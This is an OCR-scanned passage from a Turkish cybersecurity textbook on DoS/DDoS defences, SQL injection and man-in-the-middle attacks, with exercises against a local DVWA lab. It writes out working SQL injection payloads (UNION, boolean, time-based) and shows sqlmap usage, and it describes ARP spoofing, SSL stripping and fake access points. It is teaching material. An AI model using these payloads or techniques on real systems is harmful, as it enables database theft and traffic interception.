1. Form alanlarina atak yapan Tor’s Hammer (Tor’un Cekici) isimli araci indirerek aracin

kurulumunu yapiniz.

2. Yerel web sunucunuza bir atak dizenleyerek olusan trafik hacmini, sitenin ulasilabilme

durumunu raporlayiniz.

3. Raporlarinizi arkadaslarinizla paylasarak raporlarin ortak ve farkli yonlerini tespit ediniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET HAYIR

7.2.3. DoS ve DDoS Ataklarini Onlemek igin Alinacak Tedbirler

Dos ve DDoS ataklari davranis olarak TCP, UDP, ICMP, HTTP gibi protokollerin iletisim kurarken
ortaya cikardigi aciklari kullandiklari icin hangi 6nlem alinirsa alinsin kesin ¢6zim olmayacaktir.
Bu ataklar yasal iletisimi kullanarak isteklerde bulunur fakat bu protokollerdeki agiklar nedeniyle
eksik veya fazla paket gonderir ve ve baglantisi yavasmis gibi davranir. Unutulmamahdir ki bu atak
turtnde yapilan her gtivenlik adimi, normal kullanicilari da ister istemez etkileyecektir. Sunucular
sahte paketler ile yasal paketleri ayirt edemez. Bu, glivenlik icin hicbir sey yapilmayacagi anlamina
gelmez. ic agda, dis agda ve ag cihazlarinda asagidaki giivenlik dnlemleri alinabilir.

e Saldiri 6nleme sistemleri (IPS), ayni IP’den art arda gelen istekleri reddedebilir ve zaman
asimina (timeout) gore paketleri dusirebilir. Bu durum, yavas baglantisi olan normal kulla-
nicilari da etkileyecektir fakat iyi bir yontemdir.
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e internet servis saglayicilarindan (ISP) bu atak ile ilgili destek alinabilir. Sahip oldugu
teknolojiler geregi atak i¢ aga ulasmadan ISP tarafindan onlenebilir.

e Yonlendirici (Router) konfiglirasyonunda erisim listeleri (Access List) ile daha kapsamli

kurallar tanimlanabilir.

e Agda anormal bir trafik sezildiginde ag trafigi kara delik (black hole) denilen bos bir IP
adresine yonlendirilebilir. Bu durum, ag trafigini rahatlatirken gercek kullanicilari da olumsuz
yonde etkiler.

e DoS savunma sistemleri (DDS) kullanilabilir. DDS, IPS’lerin DoS ataklari igin olusturulmus

Ozel bir versiyonudur. SYN atagi, dislik ve yavas atak sinifindaki saldirilar icin etkili olabilir.

e Atak araglarinin kullandigi varsayilan parametrelere gore bir glivenlik tedbiri almak faydali
olacaktir. Bu sayede aracin karmasik kullanimini bilmeyen dustk seviyeli saldirganlardan
korunmak mimkanddr.

e Bir IP’den gelen baglanti istegi sayisi sinirlandirilmali, baglant sliresi agin karakteristigine
gore ayarlanmalidir.

e Saldiri tespit sistemleri (IDS) kullanilarak trafikteki dalgalanmalar tespit edilmeli ve trafik
yogunluklarinin éniline gececek kurallar yazilmalidir (Gorsel 7.30).

Gorsel 7.30: Ag trafigindeki anormal dalgalanmalar

e Sunuculari yedekli olarak kullanmak kismi bir ¢6ziim olsa da atak aninda ise yarayan bir
yontem degildir.
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. OLCME VE DEGERLENDIRME

A) Asagidaki cimlelerde parantez igine yargilar dogru ise “D”, yanlig ise “Y” yaziniz.

1. ( ) DoS ve DDoS ataklari bir sistemin kaynaklarini tiiketerek internette ulasilamaz olmasi

icin tasarlanmis saldirilardir.

2. () iletisim protokolleri (TCP, ICMP, HTTP gibi) yeniden yazilarak bu ataklarin kullandig
yontemler etkisiz birakilir.

3.( ) Dos atak tiri ile hedef sunucu servisleri durdurulur ve parolalari ele gegirilir.

4.( ) DoS ve DDoS ataklari sayesinde sistemdeki agiklarin farkina varilir ve gerekli dnlemler
ahnir.

5.( ) Enazikitakim CTF turnuvalariile bayragi yakalama oyunu oynar ve yetenek ve bilgilerini
gelistirir.

B) Asagidaki sorulari dikkatlice okuyarak dogru secenegi isaretleyiniz.

6. Asagidakilerden hangisi saldirganlarin Dos/DDoS ataklarini kullanma amacidir?

A) Hedef bilgisayardan fidye talep etmek

B) Hedef bilgisayari hizmet veremez duruma getirmek
C) Hedef bilgisayara virlis bulastirmak

D) Hedef bilgisayarda arka kapi olusturmak

E) Hedef bilgisayarin kisisel dosyalarini silerek kullaniciya zarar vermek

7. DoS/DDoS ataklari icin asagidakilerden hangisi séylenemez?

A) Hedefi ulasilamaz yaparak maddi zarar ve itibar kaybina neden olur.
B) Yasal agi kullandiklari icin bu ataklarin 6nlenmesi giigtir.

C) iletisim protokollerindeki agiklardan faydalanilarak atak yapilir.

D) Hedef bilgisayardaki dosyalar sifrelenerek ulasilamaz yapilir.

E) Birden fazla bilgisayar ile bir hedefe yikici ataklar yapilr.
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8. Asagidakilerden hangisi DoS/DDoS ataklarini dnleme yontemidir?

A) Zaman asimi ve erisim listeleri ile ag cihazlarinda kurallar yazmak
B) Atak fark edildiginde bilgisayarin fisini cekmek

C) Sunucularin yedeklerini alarak kullanmak

D) Tam bilgisayarlara antiviris programi kurmak

E) Kullanilmayan portlari kapatmak ve saldirganin ulasmasini engellemek

9. Asagidakilerden hangisi bir Dos/DDoS atak cesidi degildir?

A) Hizl bir sekilde SYN paketleri gondermek

B) Diistik ve yavas baglanti kurmak

C) Cevap beklemeden devamli TCP iletisimi kurma istegi gondermek
D) Sunucudaki bir aciktan faydalanarak atak gerceklestirmek

E) Form bilgilerini ¢cok kiiclk parcalar halinde gondermek

10. SYN atagi (SYN tasmasi) yontemi ile ilgili asagidakilerden hangisi yanhstir?

A) TCP iletisiminden kaynakli bir agiktan dogan atak ¢esididir.

B) SYN ve ACK paketlerinin karsilikli olarak transfer edilmemesinden kaynaklanan atak cesi-
didir.

C) TCP iletisiminin baslamasindan sonra yapilan atak ¢esididir.

D) Saldirganin SYN ve ACK paketlerini gondermedigi atak ¢esididir.

E) Atak sonucunda hedefin tim baglanti portlari doldugu igin kullaniciya cevap veremez du-
ruma geldigi atak ¢esididir.
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KONULAR

8.1. SQL INJECTION ATAGI
8.2. MAN IN THE MIDDLE (MITM) ATAGI

NELER OGRENECEKSINiz?

¢ SQL sorgularinin manipilasyonu

¢ SQL Injection yapabilen otomatize araclar
¢ SQL Injectiondan kaginma teknikleri

¢ SQL Injectiona karsi alinacak 6énlemler

e MITM atagi

¢ ARP zehirlenmesiyle MITM uygulamasi

¢ Spoofing yontemleriyle MITM uygulamasi

ANAHTAR KELIMELER

ARP zehirlenmesi, MITM, spoofing, SQL, SQL Injection, veri tabani
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HAZIRLIK CALISMALARI

1. SQL veri tabanlari ve tablo bilgileri olusturulurken hangi komutlar kullanilir?

2. Saldirganlar SQL Injection ile neyi veya neleri hedefler?

3. MITM hakkinda bildikleriniz nelerdir?

8.1. SQL INJECTION ATAGI

Bilgisayara bilgiler bir sekilde kaydedilmeli ve gerektiginde o verilere ulasilabilmelidir. Bu
nedenle de veri tabani denilen kavram ortaya ¢ikmistir. Veri tabani, bilgileri belirli bir formda
kaydeder ve kullanicilar gerektiginde veri tabanindan verilere ulasir. Bu noktada veri tabanina
bilgileri kaydedip geri ¢cagirmak icin genellikle SQL dili kullanihr.

SQL Injection, bir saldirgan tarafindan uygulamanin veri tabani sunucusuna yapilan sorgulara
midahale edilip, SQL dilinin o6zelliklerinden faydalanilarak s6z dizimi hatalarinin veya 0Ozel
karakterlerdeki anormal davranislarin kullanildigi zafiyet tiirlidir. Bu zafiyet kullanilarak normalde
yetkisiz kisilerin ulasamayacag verilere saldirgan kolaylikla erisebilir. Verilere erismekle kalmaz,
saldirgan bu verileri manipile edebilir, degistirebilir, silebilir veya kaydedebilir. SQL Injection en
tehlikeli atak tirlerinden biridir. Bu atak bazi durumlarda saldirganin bir arka kapi (backdoor)
olusturmak veya DoS atagi gerceklestirmek icin ilk kullandig atak tirG olabilir. Basaril bir saldir
sonucunda parolalar, kredi karti bilgileri, kullanici bilgileri gibi hassas verilere yetkisiz kisilerin
erismesi kurbana biyilk kayip verdirecektir. Ayrica saldirgan bu atakla iceride kalici bir arka kapi
olusturabilir ve uzun sire fark edilmeyerek i¢ agda olan biteni izleyebilir.

8.1.1. SQL Injection Atak Tiirleri

SQL Injection atak tirleri In-Band, Blind ve Out Of Band ana baslklarinda gruplandirilabilir.
Band, bir iletisim kanalinin kapasitesidir. Teknik olarak bir istemci, bir sunucuya HTTP paketi
gonderdiginde istemci ile sunucu arasinda agilan soketin (band) kapasitesini ifade eder.

1. In-Band SQL Injection (Classic)

Klasik Injection teknigi olarak isimlendirilen In-Band (bant ici) SQL Injection, HTTP Post ve Get
isteklerinin ayni iletisim yolu Gzerinden gonderilip alindigi atak tlridir. Saldirgan SQL Injection
atagini baslatmak, devam ettirmek ve durdurmak igin ayni kanal Uzerinden iletisim kurar. Bu
atagin Erorr Based ve Union Based olmak lzere iki yaygin cesidi vardir.

a) Error Based SQL Injection

Veri tabanina yazilan gesitli sorgular ile veri tabaninin kasitli olarak hata vermesini saglayan ve
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bu hatalari kullanarak daha derinlemesine sorgular yazma imkani veren In-Band atak tlriddr.
Bu sayede saldirgan, veri tabaninin versiyon bilgisi ve tablo adi gibi énemli bilgilere erisebilir.
Bir sonraki yazacagl sorgularda bu bilgileri kullanabilir. Ayrica versiyon bilgisini 6grenmesi
durumunda gincel olmayan bir versiyon ise versiyon ile ilgili aciklari, zafiyetleri tespit edebilir.

b) Union Based SQL Injection

Veri tabanina uygulama tarafindan génderilmek istenen sorguya ek yeni sorgular yapmak ve
sorgu derinligini gelistirmek igin iki veya daha fazla sorguyu birlestiren, “UNION” anahtar kelimesi
ile yapilan SQL Injection atak tlirtidir. Bu atak tiiriinde en ¢ok dikkat edilmesi gereken nokta, ana
sorgudan donen situn sayisi ile UNION sorgusu sonucu dénen situn sayisinin esit olmasidir.

a@ iz

Ana sorguda kag stitun dondigini tespit etmek icin asagidaki yontemler kullanilabilir.

1. Yontem: ‘ ORDER BY 1--
‘ ORDER BY 2--
‘ ORDER BY 3--

2. Yontem: * UNION SELECT NULL --
“UNION SELECT NULL NULL --
“UNION SELECT NULL NULL NULL --

2. Blind SQL Injection (Inferential)

Saldirgan ile hedef uygulama arasinda gergcek herhangi bir veri aligverisinin yapilmadigi
bir atak cesididir. Saldirgan, sunucuya verileri gdnderir ve veri tabaninin yapisi hakkinda daha
fazla bilgiye ulasmak icin sunucunun yanitini ve davranislarini gézlemler. Saldirgan, sorgularin
sonucunu géremez veya rastgele bir sorgu géndererek deneme yanilma yoluyla gelen cevaba
gore yeni bir strateji olusturur. Bu nedenle bu atak tiri Cikarimsal (Inferential) veya Kor (Blind)
SQL Injection olarak da isimlendirilir.

a) Boolean (True/False) Based SQL Injection

Bu atak turinilin adindan da anlasilacagi lizere saldirgan, veri tabanina bir sorgu gonderir ve
cevap olarak True (Dogru) veya False (Yanlis) bilgisi geri gelir. Cogu SQL sorgusu bir kosul icerir. Bu
kosul saglaniyorsa sonug déner ve kayitlar gériintilenir fakat bu teknikte saldirgan, uygulamanin
hangi kosulu belirttigini bilmedigi icin normalde False donen cevabi True yaparak gerekli veri
tabani kayitlarina ulasabilir.
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b) Time Based SQL Injection

SQL sorgulari genellikle uygulama tarafindan es zamanl olarak calisir. istege hemen cevap
verilir fakat saldirgan, istegin belirli bir slire sonra galismasini gesitli komutlarla 6teleyebilir.
Bu sayede gonderdigi sorgunun calisip calismadigini test edebilir, veri tabanini bu siire icinde
bekleterek cevap vermesini geciktirebilir.

3. Out Of Bant (OOB) SQL Injection

SQL sorgulari genelde sunucu ve istemci arasinda olur. Bu teknikte saldirgan, sunucuya
gonderdigi sorgular ile DNS, HTTP gibi protokol isteklerini sorguya enjekte ederek sunucunun
iletisim disina ¢ikmasini (Out Of Band) ve baska bilgileri istemesini (DNS istegi gibi) tetikler. Bu
teknigin diger tekniklerden farki, saldirganin veri tabanindan almak istedigi bilgileri aramak igin
(Error-Based, Union Based), True/False (Boolean Based) sorgusu yazmak yerine sistemdeki verileri
HTTP, DNS veya SMB protokolleri lizerinden iletmesidir. Kisaca saldirgan, bilgileri toplamak ve
sonuglari gormek icin ayniiletisim kanalini kullanmaz. Cok yaygin bir teknik degildir ve veri tabani
sunucusunda aktif calisan hizmetlere bagl olarak gerceklestirilebilir.

a@==

SQL Injection atagiigin gerekli kurulumlar 6nceden yapilmalidir. SQL Injection atagi yapabilmek

icin zafiyete sahip bir veri tabanina ihtiya¢ duyulur. Bu tir ataklarin yapilmasina olanak veren
cesitli sanal sistemler vardir. Bu 6grenme biriminde sanal sistemlerden hazir zafiyetlerin yikli
oldugu DVWA (Damn Vulnerable Web Application), kullanicilarin yetenek ve becerilerini egitim
amagli olarak kolaydan zora gelistirebilme imkani veren yazilim kullanilacakdtir.

1. UYGULAMA

DVWA Konfigiirasyonu

Asagidaki islem adimlarina gére DVWA konfiglirasyonunu gergeklestiriniz.

1. Adim: DVWA kurduktan sonra 127.0.0.1 localhost adresini tarayiciya yaziniz (Goérsel 8.1).
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Gorsel 8.1: DVWA karsilama ekrani

2. Adim: Agilan pencerede kullanici adi ve sifre girildikten sonra Gorsel 8.2’deki ekranla
karsilasilir. Bu ekranin en altinda yer alan “Create/Reset Database” secenegini secerek bir veri
tabani kurulum islemi gerceklestiriniz.

)

Gorsel 8.2: DVWA veri tabani kurulumu

SQL Injection ve Man In The Middle (MITM) 257



3. Adim: Veri tabani kurulumunu gerceklestirdikten sonra tekrar giris yapiniz. Yeni kurulan
veri tabaninin varsayilan kullanici adi “admin”, sifresi ise “password”dir.

4. Adim: Veri tabani olusturmadan 6nceki ekranda (Gorsel 8.2) cok fazla secenek yokken
kurulum yapildiktan sonraki ekranda (Gorsel 8.3) daha fazla secenek oldugu gorilir. Gorsel
8.4’te kirmizi kutu ile belirtilen SQL Injection segenegini seginiz.

Gorsel 8.3: Yeni kurulan veri tabani yonetim ekrani

Gorsel 8.4: SQL Injection yapilacak atak ekrani
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- 2. UYGULAMA

Error Based SQL Injection Atagi

Asagidaki islem adimlarina gore Error Based SQL Injection atagi gergeklestiriniz.

1. Adim: Error Based SQL Injection atagi igin veri tabaninin hata vermesini saglayan kodlari
enjekte ediniz. Bunun icin User ID kutusuna Gorsel 8.5'te gorildigi gibi tek tirnak (‘) isareti
koyunuz.

Gorsel 8.5: Error Based SQL Injection atagi

Gorsel 8.6'da goruldigu gibi kullanilan veri tabani tipinde bu ifadenin taninmadigini belirten
bir uyari mesaji geri doner. Donen hata mesajindan hangi veri tabani yaziliminin kullanildigi
bilgisini 6greniniz.

Gorsel 8.6: SQL Injection sorgusu sonucu donen hata bilgisi
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3. UYGULAMA

Union Based SQL Injection Atagi

Asagidaki islem adimlarina gére Union Based SQL Injection atagi gerceklestiriniz.

1. Adim: Union Based SQL Injection atagi gerceklestirmek icin kag tane siitun oldugu bilgisi
ogrenilmelidir. Bunu 6grenmek icin order by komutlari ile 1’den baslayarak, veri tabaninda hata
alincaya kadar isleme devam ediniz (Gorsel 8.7).

Gorsel 8.7: order by komutlariyla tablo siitun sayisinin tespiti

2. Adim: Yazilan order by komutlari sonucunda ‘ order by 3# sorgusunda Gorsel 8.8'de
gorildigi gibi hata alinir. Bu durum, tabloda iki stitun oldugu anlamina gelir. Union sorgunuzu
bu deger Uzerine kurunuz.

Gorsel 8.8: order by komutu sonrasi alinmasi gereken hata
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3. Adim: Gorsel 8.9'da goruldigi gibi kutu icindeki ‘ union select database(), version()#
sorgusunu yazarak ilgili veri tabani adina ve versiyon bilgisine ulasiniz.

Gorsel 8.9: Union Based SQL Injection atagi

Gorsel 8.9'da gorildigi gibi geri donen sonucta veri tabani adinin dvwa oldugu ve MariaDB
veri tabaninin 10.1.26 versiyonunu kullandigi bilgisine ulasilir.

4. Adim: Veri tabani kullanici adi ve sifre bilgilerine ulasmak icin Gorsel 8.10’daki komutu
kullaniniz.

Gorsel 8.10: Veri tabani kullanici adi ve sifre bilgileri

SQL Injection ve Man In The Middle (MITM)

261



Ulasilan sifreler Surname kisminda bulunur ve md5 formatinda sistem tarafindan kriptolan-
mistir. Bu kriptolari ¢zmek igin Kali Linux Gizerindeki john, hashcat gibi araglar kullanilr.

. 4. UYGULAMA

Boolean Based SQL Injection Atagi

Asagidaki islem adimlarina gore Boolean Based SQL Injection atagi gerceklestiriniz.

1. Adim: User ID bolimine yazilan bir sorgu sonucu cevap doner. Bir baska deyisle sorgu
sonucu True ise kayitlar ile karsilasilir. Burada yazdiginiz 1’ or ‘1’="1 sorgusu ile cevabin her zaman
True olarak donmesini ve sorgunun her kosulda ¢alismasini amaglayiniz.

2. Adim: Gorsel 8.11’de goriildigl gibi yazilan sorgu sonucu hep True degerleri elde edilir.

Tum kayitlara ulasiniz.

Gorsel 8.11: Boolean Based SQL Injection atagi
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- 5. UYGULAMA

Time Based SQL Injection Atagi

Asagidaki islem adimlarina gore Time Based SQL Injection atagi gerceklestiriniz.

1. Adim: Gorsel 8.12'deki 1’ sleep(5)# SQL sorgusunu yaziniz. Veri tabani bu sorgu ile parantez
icinde belirtilen sayi kadar beklemeye gecer ve cevabli hemen gondermez.

Gorsel 8.12: Time Based SQL Injection atak sorgusu

2. Adim: Belirli bir zaman gectikten sonra Gorsel 8.13'te gorildigu gibi sorgu sonucu geri
doner. Sistemin hemen vermesi gereken sorgu cevabini belirli zaman sonra verdigini gori- niz.
Bu durum, veri tabani yazilimina miidahale edebildiginizi gosterir.

Gorsel 8.13: Belirli bir zaman gegtikten sonra verilen sorgu cevabi
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. SIRA SiZDE

Out Of Band atak tiri ile ilgili bir uygulama yapiniz. DVWA (izerinde Burpsuite, Zap gibi

programlari kullanarak bir Responder olusturabilirsiniz. Gelen cevaplari degistirerek ve atagi
izleyerek arkadaslariniz ile tartisiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET HAYIR

Sqlmap Komutunun Kullanimi

Sqlmap komutu Kali Linux Gzerinde yikli olarak gelir. Web uygulamalarindaki SQL Injection
aciklarini bulmaya ve bulunan aciklari kullanarak hedef bilgisayar Uzerinde bu sorgularin
calismasina olanak saglayan bir komuttur (Gorsel 8.15). Bu komut ile veri tabani tirl, adi,
kullanicilari, veri tabani tablolari vb. tiim bilgilere ulasabilmek mimkiindiir. Komut satirinda -h
parametresi ile yardim sayfasi agilarak bu komutun kullanimlari daha detayli incelenebilir (Gorsel
8.14).

c—

Gorsel 8.14: sqlmap komutunun yardim sayfasi
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Gorsel 8.15: sqlmap kullanimi

- 6. UYGULAMA

Sqlmap Komutu

Asagidaki islem adimlarina gore sqlmap komutunu kullaniniz.

1. Adim: sqlmap komutu ile hedefteki SQL Injection agiklarini tespit ediniz (Gorsel 8.16).

Gorsel 8.16: sqlmap komutuyla veri tabani ismine ulagim
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e -u parametresi ile sqlmap fonksiyonuna bir URL belirtilecegi bildirilir.

e -dbs parametresi ile veri tabani listesi ekrana getirilir (Gorsel 8.17).

Gorsel 8.17: sqlmap komutunun giktisi

2. Adim: Veri tabani tablolarini ve tablo isimlerini ekrana yazdiriniz (Gorsel 8.18).

Gorsel 8.18: sqlmap tablo sorgulama komutu

e -D parametresi ile veri tabani adi belirtilir.

e —-tables parametresi ile tespit edilen tablo isimleri ekrana yazdirilir (Gorsel 8.19).

Gorsel 8.19: sqlmap komutu sonucu tablo bilgileri

3. Adim: Veri tabani kolonlarini ekrana getiriniz (Gorsel 8.20).

Gorsel 8.20: users tablosu kayitlarina ulasim

e -T parametresi ile tablo adi belirtilir.

e —-columns parametresi ile kolon bilgileri ekrana yazdirilir (Gorsel 8.21).

Gorsel 8.21: sqlmap komutu users tablosu kayitlar
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Gorsel 8.21'de goruldigi gibi tim kullanict isimleri ve sifreleri hashlenmis bir sekilde
ekrana yazdirilmistir. Sifreler, hash degerlerinin yaninda parantez iglerinde ¢ozlilmis olarak
gorilmektedir.

4. Adim: Kolonlardaki degerleri ekrana yazdiriniz (Gorsel 8.22).

Gorsel 8.22: sqlmap siitun adi belirterek bilgileri getiren komut

e -C parametresiile kolon adi belirtilir.

e —-dump parametresi ile belirtilen kolonlardaki bilgiler ekrana yazdirilir.

a@

Sqlmap komutu kapsamli, genis ve ¢ok kullanilan bir komuttur. Veri tabani ile ilgili tim islemler

bu komut lzerinden gerceklestirilir. Bu komut; bir istek dosyasi ylklemek, post istegi yapmak,
formlara parametre girmek, HTTP Authentication (Yetkilendirme), Proxy ve Tor kullanarak sorgu
calistirma gibi cok kapsamli yeteneklere sahiptir.

8.1.2. SQL Injection Atagina Karsi Alinacak Onlemler

Diger atak tirlerine gore kolay gorinse de birden fazla yapi kullanan SQL dili nedeniyle SQL
Injection atagini 6nlemek pek de kolay olmaz ¢linkii hem SQL dili agiklari hem sunucu tarafindan
dogacak aciklari kapatmak bir hayli zordur. Bu kapsamda yapilacak en giizel savunma, kendi
sisteminize sizmaya calisacak ataklar yapmaktir. Bu ataklar sayesinde sorun yasanabilecek
tiim senaryolar denenmeye calisilir. Bir baska yontem ise otomatize araglar ile sizma testinin
gerceklestiriimesi ve ¢ikan rapora gore agiklarin kapatiimasi olacaktir. Manuel veya otomatik
aracglar kullanmanin birbirine gore iyi ve kotl yanlari elbette mevcuttur. SQLi’ye karsi alinacak
tedbirler asagida listelenmistir.

e Kullanici girislerini mutlaka dogrulamak gerekir. En c¢ok atak yapilan yer, kullanici
bilgileriile giris yapilan yerlerdir. Bilgilerin tek tek kontrol edilerek iceri alinmasi saglanmaldir.

e Ozel karakter kullanimini kontrol etmek ve sinirlandirmak baska bir yéntemdir.

¢ Veri tabanina sorgulari yazmak icin degisken kullanmak ve parametreli sorgular ile hazirla-
nan ifadelerle daha korumal bir veri cekme islemi saglanabilir. Boylelikle kullanici girisi ile
kod arasinda bir ayrim yapilir.

e Parametrelestirmeye benzer sekilde stored procedure yapisi kullanilarak sorgular degisken
yapisina baglanabilir. Bu durum, sistemi ¢ok daha glivenli yapacaktir.
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e Cikan veri tabani yamalarini kurmak ve isletim sistemini glincel tutmak her zaman en 6nemli
tedbirlerden biridir.

e Gereksiz deyimler varsa kullanimi igin ayricalikli erisim yetki seviyeleri diizenlenmelidir.
Ornegin bir web sitesinde sadece SELECT sorgulari calisacak ise diger deyimlerin (UPDATE,
INSERT, DELETE vb.) kullanimi kisitlanmaldir. Ayrica veri tabanina gerektiginde yonetici
diizeyinde erisim saglanmalidir. Bir hiyerarsi olusturularak sisteme giren kisinin yetkileri en
aza indirilmelidir.

e Verileri korumak icin sifreleme algoritmalari kullaniimalidir.

e Hata mesajlari diizenlenerek gereginden fazla agiklama yapiilmamalidir.

8.2. MAN IN THE MIDDLE (MITM) ATAGI

iletisim halindeki iki bilgisayarin (istemci-istemci, istemci-sunucu vb.) arasina girerek orada
olup biteni dinleyen, iletisimi Ustline cekerek trafigin kendi Gstlinden akmasini saglayan veya
kurulaniletisimde paketleri degistirerek veri manipilasyonuna sebep olan atak tlriddr. Saldirgan,
iki cihazin arasina girdigi icin ortadaki adam (MITM) olarak adlandirilir. MITM, digerlerine gére
en tehlikeli atak tiirtidir ¢linkt saldirgan direkt olarak kisisel bilgileri (sifreler, hesaplar, kredi
kart1 bilgileri vb.) cok kolay bir sekilde ele gecirebilir. Bu atak, yerel agdan yapilabildigi gibi uzak
agdan da gergeklestirilebilir (Gorsel 8.23).

Normal iletisim

Kullanici Web Hizmetleri

illegal iletisim

Ortadaki Adam (Hacker)

Gorsel 8.23: MITM atagi

8.2.1. MITM Saldin Tiirleri

Bu 6grenme biriminde MITM saldirisinin sahte erisim noktasi, ARP sahtekarhgi, DNS
sahtekarligi tirleri anlatilacaktr.
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8.2.1.1. Sahte Erisim Noktasi (Fake Access Point)

Sahte erisim noktasi atak tiiriinde saldirgan, var olan erisim noktasini (Wi-Fi) de-authentication
yontemiyle devre disi birakir. Devre disi biraktigi Wi-Fi adini (SSID) v1, v2 gibi sahte ek isimlerle
kullanir. Kullanicinin ilk bakista fark edemeyecegi bir isimle kendi Wi-Fi agini yayinlar. Ornegin
SSID’si “Okul” olan bir Wi-Fi agini “Okulv2”, “Okul-Kat1” gibi adlar vererek isimlendirir. Bu
durum, aga baglanan kisilerin degisikligi fark etmemesini saglar. Baglantisi kopan tiim cihazlar,
baglanmasi gereken Wi-Fi'ye degil de saldirganin yayinladigi aga baglanir. Saldirgan artik tim ag
trafigini Gzerine ¢cekmistir ve bu trafigi yonetebilir, ydnlendirebilir, manipile edebilir.

8.2.1.2. ARP Sahtekarhgi (ARP Spoofing)

ARP, adres c¢ozlimleme protokolidir. IP adreslerini MAC adreslerine ¢6ziimlemek igin
kullantlir. Baska bir ana bilgisayar gibi gorinmeye c¢alisan saldirgan, yanit vermemesi gereken
isteklere kendi MAC adresini kullanarak yanit verir. Boylelikle istemci, yanit veren bilgisayari bir
ag gecidi olarak algilar ve trafigi ona yonlendirir. Saldirgan daha sonra lstiinden akan trafik ile
tarayicida depolanan PIl (Personal Identifiable Information) kisisel tanimlama bilgilerini analiz
edebilir, hedefe zarar vermek icin kullanabilir.

8.2.1.3. DNS Sahtekarhigi (DNS Spoofing)

DNS, alan adlarini IP adresine ¢dzlimleyen protokoldiir. DNS 6nbellek zehirlenmesi de denilen
bu atak, yasal cevrimici trafiginde kullanicinin glivendigi bir web sitesinin sahtesinin yapildigi
veya kullaniciyl sahte bir web sitesine yonlendirmek igin hazirlanan DNS kayitlarinin hedefe
ulastirildigi bir saldiri taridar.

8.2.2. MITM Saldiri1 Teknikleri

MITM ataklarinda saldirgan, hedefi agina disiirmek icin degisik teknikler kullanir. Bu 6grenme
biriminde paket koklama, paket enjeksiyonu, oturum g¢alma, SSL agma anlatilacaktir.

8.2.2.1. Paket Koklama (Sniffing)

Paket koklama, saldirganin ag Uzerinde dolasan paketleri toplayarak, o paketlerde gecen
bilgileri agip okumasi sonucu olusan tekniktir. Bu sayede saldirgan, hedefin neler yapmak istedigi
hakkinda bilgi toplar, agin kendi lzerinden akmasini saglar veya ag trafigini manipiile eder.
Sniffing sik kullanilan bir tekniktir.
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8.2.2.2. Paket Enjeksiyonu

Hedef ve internet arasindaki iletisimi dinleyen (sniffing) saldirgan, bu asamada hedefe zararl
paketler génderir ve hedefin indirecegi paketlere miidahale edebilir. Bunu yapabilmek igin sal-
dirgan, ag cihazlarini dinleme moduna (Promiscuous mode) alir. Bu sayede 6rnegin a.exe isimli
programi indirmeye calisan bir hedefin anlamamasi i¢in ayni isimli (a.exe) ama sahte (fake) yazi-
lim indirmesi saglanir ve hedefe zararl yazilim enjekte edilir.

8.2.2.3. Oturum Calma

Web sitelerinde oturum acildiginda arka planda session (web oturumu) denilen olay
gerceklesir ve oturum bilgilerini kaydeder. Bu sayede web sitesinde her yeni linke tiklandiginda
veya form acildiginda oturum kapatilmadigi icin tekrar tekrar sifre girmek gerekmez. Bu noktada
saldirgan, trafigi koklayarak bu oturum agma belirteglerine erisebilir ve oturumu ele gegirebilir.
Bu snifing araclarini kullanan saldirgan, mesru isteklerde bulunarak hedefin bilgileri ile oturum
belirteglerini tanimlayabilir ve kullanabilir.

8.2.2.4. SSL Calma (SSL Strip)

HTTP ve HTTPS, internette en sik kullanilan protokollerdendir (Son vyillarda daha glvenli
olan HSTS kullaniimaktadir.). HTTP glvensiz, HTTPS ise SSL kullandigi icin givenli kabul edilir.
HTTP paketlerini ¢ozmek ve islemek, HTTPS’ye gbére daha kolaydir. Bu nedenle HTTPS olan web
sitelerinin HTTP sitelerine indirgenmesini saglayan araclar mevcuttur. Saldirganlar bu paketleri
engellemek, HTTPS tabanli web sitesinden gelen istekleri degistirerek HTTP tabanl siteye
donustirmek ve yonlendirmek icin SSL ¢alma teknigini kullanirlar.

- ORNEK OLAY

Ucretsiz bir Wi-Fiagibulduguna sevinen geng Giray, heyecanli bir sekilde hemen bilgisayarindan

Wi-Fi agina baglanir ve maillerini okumak ister. Slire¢ Giray igin soyle isleyecektir:

Giray’dan gelen mailine giris bilgisi HTTP Uzerinden oldugu icin saldirganin bilgisayarinda
calisan SSL Strip bu bilgileri alacak ve kaydedecektir. Bu bilgileri kullanarak saldirgan, mail
servisinde HTTPS baglantisi ile oturumu agacaktir. Mail servisinden donen HTTPS cevaplari HTTP
ile degistirecek ve Giray’a geri gonderecektir. Boylece kullanici fark etmeden, HTTPS kullandigini
duslinerek HTTP Uzerinden islemlerini gerceklestirecektir.
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8.2.3. MITM Araglari

MITM ataklarinda saldirganlarin kullandig birden fazla ara¢ mevcuttur. Bu ataklarda en g¢ok
kullanilan araglar; bettercap, hetty, proxy.py, burp, mitmproxy, ettercaptir.

8.2.3.1. Bettercap Araci

Bettercap; bir aga karsi MITM ataklari gergeklestiren, gercek zamanli olarak HTTP, HTTPS veya
TCP trafigini monitor eden (izleyen), yoneten, yonlendiren, sniffing (koklama) yapan giicli, esnek
ve tasinabilir bir aractir. Go dilinde yazilmistir. Acik kaynak ve kapal kaynak isletim sistemlerinde
¢ahisabilir. Bu arag, Wi-Fi ve Ethernet aglarinda, Bluetooth cihazlarinda aktif ve pasif IP ve port
taramasi yapabilir.

Bettercap araci halihazirda Kali Linux icinde gelmez. Sonradan kurulmasi gerekir. Gorsel
8.24'teki komut kullanilarak bettercap araci yiklenir.

Gorsel 8.24: bettercap aracinin kurulumu

SQL Injection ve Man In The Middle (MITM)

271



7. UYGULAMA

Bettercap Aracinin Kullanimi ve Calistiriimasi

Asagidaki islem adimlarina gore bettercap aracinin kullanimini ve calistirilmasini
gerceklestiriniz.

1. Adim: Daha 6nceden kurulan bettercap aracini Goérsel 8.25’i kullanarak calistiriniz.

Gorsel 8.25: bettercap aracinin galistirilmasi

Bettercap araci parametresiz olarak calistirabilir ve dinlemesi gereken arayliz (interface)
yazilabilecegi gibi bu sekilde iface parametresi ile direkt bir arayiz belirtilerek de galistirilabilir.
ethO, ethernet araylzlinln Kali Linux isletim sistemindeki karsihgidir.

2. Adim: Calisan servisleri gormek veya hangi komutun hangi parametre ile calisacagini 6gren-
mek icin help komutunu yaziniz (Gorsel 8.26).

.

